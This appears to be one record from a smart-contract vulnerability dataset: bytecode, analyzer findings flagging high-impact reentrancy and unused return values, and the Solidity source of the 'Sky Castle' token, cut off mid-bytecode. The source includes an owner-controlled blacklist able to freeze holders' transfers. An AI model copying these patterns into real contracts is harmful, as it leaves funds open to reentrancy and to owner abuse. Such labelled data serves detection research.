476105f8816110fc565b50565b6001600160a01b0381166000908152600260205260408120546104229061113a565b6000546001600160a01b031633146106475760405162461bcd60e51b81526004016104bb90611911565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106bb5760405162461bcd60e51b81526004016104bb90611911565b6010805460ff60a01b1916600160a01b17905543600a55600b55565b6000546001600160a01b031633146107015760405162461bcd60e51b81526004016104bb90611911565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561073c308266038d7ea4c68000610bce565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561077557600080fd5b505afa158015610789573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ad9190611778565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f557600080fd5b505afa158015610809573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082d9190611778565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561087557600080fd5b505af1158015610889573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ad9190611778565b601080546001600160a01b0319166001600160a01b039290921691909117905550565b600061041e338484610cf2565b60006108e8306105fb565b90506105f8816111b7565b6000546001600160a01b0316331461091d5760405162461bcd60e51b81526004016104bb90611911565b6000811161092a57600080fd5b610946606461094066038d7ea4c6800084611340565b90610b85565b60115550565b6000546001600160a01b031633146109765760405162461bcd60e51b81526004016104bb90611911565b6001600160a01b03811660009081526006602052604090205460ff166109cd5760405162461bcd60e51b815260206004820152600c60248201526b2737ba10309039b734b832b960a11b60448201526064016104bb565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b03163314610a185760405162461bcd60e51b81526004016104bb90611911565b600f546001600160a01b031663f305d7194730610a34816105fb565b600080610a496000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610aac57600080fd5b505af1158015610ac0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ae5919061188e565b50506010805461ffff60b01b19811661010160b01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b4d57600080fd5b505af1158015610b61573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f89190611858565b6000610bc783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113bf565b9392505050565b6001600160a01b038316610c305760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104bb565b6001600160a01b038216610c915760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104bb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d565760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104bb565b6001600160a01b038216610db85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104bb565b60008111610e1a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104bb565b6002600c556006600d556000546001600160a01b03848116911614801590610e5057506000546001600160a01b03838116911614155b156110b2576010546001600160a01b038481169116148015610e805750600f546001600160a01b03838116911614155b8015610ea557506001600160a01b03821660009081526005602052604090205460ff16155b8015610eba5750601054600160b81b900460ff165b15610ee457601154811115610ece57600080fd5b601054600160a01b900460ff16610ee457600080fd5b600f546001600160a01b03848116911614801590610f1d57506000600a54118015610f1d575043600b54600a54610f1b91906119b7565b115b15610f9a576010546001600160a01b0384811691161415610f60576001600160a01b0382166000908152600660205260409020805460ff19166001179055610f9a565b6010546001600160a01b0383811691161415610f9a576001600160a01b0383166000908152600660205260409020805460ff191660011790555b600f546001600160a01b03848116911614801590610fd157506001600160a01b03831660009081526005602052604090205460ff16155b8015610fea57506010546001600160a01b038381169116145b15611045576001600160a01b03831660009081526006602052604090205460ff1615801561103157506001600160a01b03821660009081526006602052604090205460ff16155b61103a57600080fd5b6004600c556008600d555b6000611050306105fb565b601054909150600160a81b900460ff1615801561107b57506010546001600160a01b03858116911614155b80156110905750601054600160b01b900460ff165b156110b05761109e816111b7565b4780156110ae576110ae476110fc565b505b505b6110bd8383836113ed565b505050565b600081848411156110e65760405162461bcd60e51b81526004016104bb91906118bc565b5060006110f38486611a10565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611136573d6000803e3d6000fd5b5050565b60006008548211156111a15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104bb565b60006111ab6113f8565b9050610bc78382610b85565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111ff576111ff611a3d565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561125357600080fd5b505afa158015611267573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128b9190611778565b8160018151811061129e5761129e611a3d565b6001600160a01b039283166020918202929092010152600f546112c49130911684610bce565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112fd908590600090869030904290600401611946565b600060405180830381600087803b15801561131757600080fd5b505af115801561132b573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b60008261134f57506000610422565b600061135b83856119f1565b90508261136885836119cf565b14610bc75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104bb565b600081836113e05760405162461bcd60e51b81526004016104bb91906118bc565b5060006110f384866119cf565b6110bd83838361141b565b6000806000611405611512565b90925090506114148282610b85565b9250505090565b60008060008060008061142d87611550565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061145f90876115ad565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461148e90866115ef565b6001600160a01b0389166000908152600260205260409020556114b08161164e565b6114ba8483611698565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114ff91815260200190565b60405180910390a3505050505050505050565b600854600090819066038d7ea4c6800061152c8282610b85565b8210156115475750506008549266038d7ea4c6800092509050565b90939092509050565b600080600080600080600080600061156d8a600c54600d546116bc565b925092509250600061157d6113f8565b905060008060006115908e87878761170b565b919e509c509a509598509396509194505050505091939550919395565b6000610bc783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110c2565b6000806115fc83856119b7565b905083811015610bc75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104bb565b60006116586113f8565b905060006116668383611340565b3060009081526002602052604090205490915061168390826115ef565b30600090815260026020526040902055505050565b6008546116a590836115ad565b6008556009546116b590826115ef565b6009555050565b60008080806116d060646109408989611340565b905060006116e360646109408a89611340565b905060006116fb826116f58b866115ad565b906115ad565b9992985090965090945050505050565b600080808061171a8886611340565b905060006117288887611340565b905060006117368888611340565b90506000611748826116f586866115ad565b939b939a50919850919650505050505050565b60006020828403121561176d57600080fd5b8135610bc781611a53565b60006020828403121561178a57600080fd5b8151610bc781611a53565b600080604083850312156117a857600080fd5b82356117b381611a53565b915060208301356117c381611a53565b809150509250929050565b6000806000606084860312156117e357600080fd5b83356117ee81611a53565b925060208401356117fe81611a53565b929592945050506040919091013590565b6000806040838503121561182257600080fd5b823561182d81611a53565b946020939093013593505050565b60006020828403121561184d57600080fd5b8135610bc781611a68565b60006020828403121561186a57600080fd5b8151610bc781611a68565b60006020828403121561188757600080fd5b5035919050565b6000806000606084860312156118a357600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118e9578581018301518582016040015282016118cd565b818111156118fb576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119965784516001600160a01b031683529383019391830191600101611971565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119ca576119ca611a27565b500190565b6000826119ec57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a0b57611a0b611a27565b500290565b600082821015611a2257611a22611a27565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146105f857600080fd5b80151581146105f857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf22bbe735830fad3d283b0735de43aa0a7255bfd6a138c7b52a71b092468f8564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,615
0x5a833ef042d82891008de2936a4a18c9955f98f9
/** *Submitted for verification at Etherscan.io on 2021-06-25 */ // SPDX-License-Identifier: Unlicensed // Welcome to skycastle :D // https://twitter.com/skycastletoken //: https://skycastle.io/ coming soon //: https://t.me/skycastletoken pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Sky is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string public constant _name = "Sky Castle"; string public constant _symbol = "SKY"; uint8 private constant _decimals = 9; uint256 private _taxFee = 4; uint256 private _teamFee = 7; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 1 * 10**12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd80146106d2578063c9567bf9146106e9578063d28d885214610700578063d543dbeb14610790578063dd62ed3e146107cb5761012a565b80638da5cb5b1461043b57806395d89b411461047c578063a9059cbb1461050c578063b09f12661461057d578063b515566a1461060d5761012a565b8063313ce567116100e7578063313ce5671461033d5780635932ead11461036b5780636fc3eaec146103a857806370a08231146103bf578063715018a6146104245761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456108ab565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610995565b005b34801561034957600080fd5b50610352610ab8565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103a66004803603602081101561038e57600080fd5b81019080803515159060200190929190505050610ac1565b005b3480156103b457600080fd5b506103bd610ba6565b005b3480156103cb57600080fd5b5061040e600480360360208110156103e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c18565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b50610439610d03565b005b34801561044757600080fd5b50610450610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610491610eb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b506105656004803603604081101561052f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eef565b60405180821515815260200191505060405180910390f35b34801561058957600080fd5b50610592610f0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106d06004803603602081101561063057600080fd5b810190808035906020019064010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184602083028401116401000000008311171561068157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f46565b005b3480156106de57600080fd5b506106e7611096565b005b3480156106f557600080fd5b506106fe611110565b005b34801561070c57600080fd5b5061071561178e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107c9600480360360208110156107b357600080fd5b81019080803590602001909291905050506117c7565b005b3480156107d757600080fd5b5061083a600480360360408110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611976565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f536b7920436173746c6500000000000000000000000000000000000000000000815250905090565b60006108a161089a6119fd565b8484611a05565b6001905092915050565b6000683635c9adc5dea00000905090565b60006108c9848484611bfc565b61098a846108d56119fd565b61098585604051806060016040528060288152602001613ee960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245b9092919063ffffffff16565b611a05565b600190509392505050565b61099d6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610ac96119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be76119fd565b73ffffffffffffffffffffffffffffffffffffffff1614610c0757600080fd5b6000479050610c158161251b565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cb357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cfe565b610cfb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612616565b90505b919050565b610d0b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c